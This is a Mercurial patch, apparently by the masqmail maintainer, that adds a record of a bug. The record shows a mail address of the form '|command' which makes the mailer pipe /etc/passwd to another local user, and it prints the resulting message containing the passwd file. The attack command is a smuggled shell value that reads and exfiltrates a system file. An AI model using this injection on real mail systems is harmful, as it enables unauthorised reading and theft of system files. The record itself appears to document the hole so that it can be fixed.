# HG changeset patch
# User meillo@marmaro.de
# Date 1230728675 -3600
# Node ID 402db7e2ecc49109a5ca0283bd18ad36ba9b328b
# Parent  b08be036783d6fa12dc2482ef5a4a4f2f9b723a8
how to exploit masqmail :-(

diff -r b08be036783d -r 402db7e2ecc4 hardcopies/bin-mail-attack.txt
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/hardcopies/bin-mail-attack.txt	Wed Dec 31 14:04:35 2008 +0100
@@ -0,0 +1,33 @@
+test$ mail '|/usr/bin/mail lydi </etc/passwd'
+Subject: the password file
+hey hey jippee, here's your present :-)
+.
+Cc:
+test$
+
+
+
+
+lydi$ mail
+Mail version 8.1.2 01/15/2001.  Type ? for help.
+"/var/mail/lydi": 1 message 1 new
+>N  1 test@dream         Wed Dec 31 11:12   46/1910
+&
+Message 1:
+From <test@dream> Wed Dec 31 11:12:45 2008
+Envelope-to: <lydi@dream>
+To: lydi
+From: <test@dream>
+Date: Wed, 31 Dec 2008 11:12:45 +0100
+
+root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/bin/sh
+bin:x:2:2:bin:/bin:/bin/sh
+sys:x:3:3:sys:/dev:/bin/sh
+.
+.
+.
+test:x:1001:1002:test,,,:/home/test:/bin/bash
+lydi:x:1002:1003:lydi,,,:/home/lydi:/bin/bash
+
+&